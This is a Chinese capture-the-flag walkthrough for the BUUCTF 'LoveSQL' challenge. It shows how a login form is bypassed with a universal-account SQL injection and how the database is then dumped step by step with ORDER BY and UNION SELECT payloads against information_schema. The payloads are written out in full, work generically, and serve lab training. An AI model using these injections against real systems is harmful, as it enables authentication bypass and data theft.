BUUCTF Web [极客大挑战 2019]LoveSQL

本文阅读 3 分钟
首页 安全分享,WEB安全 正文

<font color="orange">「作者主页」:</font>士别三日wyx
  此文章已录入专栏<font color="greeg">《网络攻防》</font>,持续更新热门靶场的通关教程
<font color="red">「未知攻,焉知收」</font>,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之九十九的同期选手。

进入题目连接是一个「登录」界面

img 登录「成功」会显示当前用户的账号和密码

img 登录「失败」则会则会提示错误的用户名和密码

img

        这一关是「SQL注入」漏洞,注入点为单引号字符型注入,推荐使用「联合注入」

看到登录功能,第一反应就是SQL注入,先尝一下「万能账号」,依次尝试各种类型的万能账号。 点击链接查看《万能账号密码使用详解》 img 单引号字符型的万能账号登录「成功」 img 页面有「显示位」,推荐使用联合注入,这一关没有过滤,判断字段数以后直接脱库即可

1)判断注入点

使用万能账号判断「注入点」,payload如下

  • 账号输入a' or true -- a
  • 密码随便输入 111

img

2)判断字段数

使用 order by 排序判断显示位的「字段数」

  • 账号依次输入 a’ or true order by 1 – a a’ or true order by 2 – a a’ or true order by 3 – a a’ or true order by 4 – a
  • 密码随便输入 111

排序到 4 时报错,说明字段数为 3 img

3)获取所有表

CFT有个不成文的「规矩」,SQL注入漏洞中,flag通常会放在当前使用的数据库中。我们直接获取当前数据库的表即可

  • 用户名输入以下payload
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a
  • 密码随便输入 111

拿到两个表名 geekuser、l0ve1ysq1,flag在第二个表中 img

4)获取字段

获取 l0ve1ysq1 表的所有「字段」

  • 用户名输入以下payload
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a
  • 密码随便输入 111

拿到 3 个字段 id,username,password,flag 就在 password 字段中

5)获取flag

查询 l0ve1ysq1 表的 password 字段,获取 「flag」

  • 用户名输入以下payload
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a
  • 密码随便输入 111

拿到 n 个数据 img 页面不方便查看,可以右键查看「网页源代码」 img 夺旗成功!

喜欢一个东西首先要先学会<font color="red">「尊重」</font>,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着<font color="orange">「举世皆浊我独清,众人皆醉我独醒」</font>的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/120997247
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复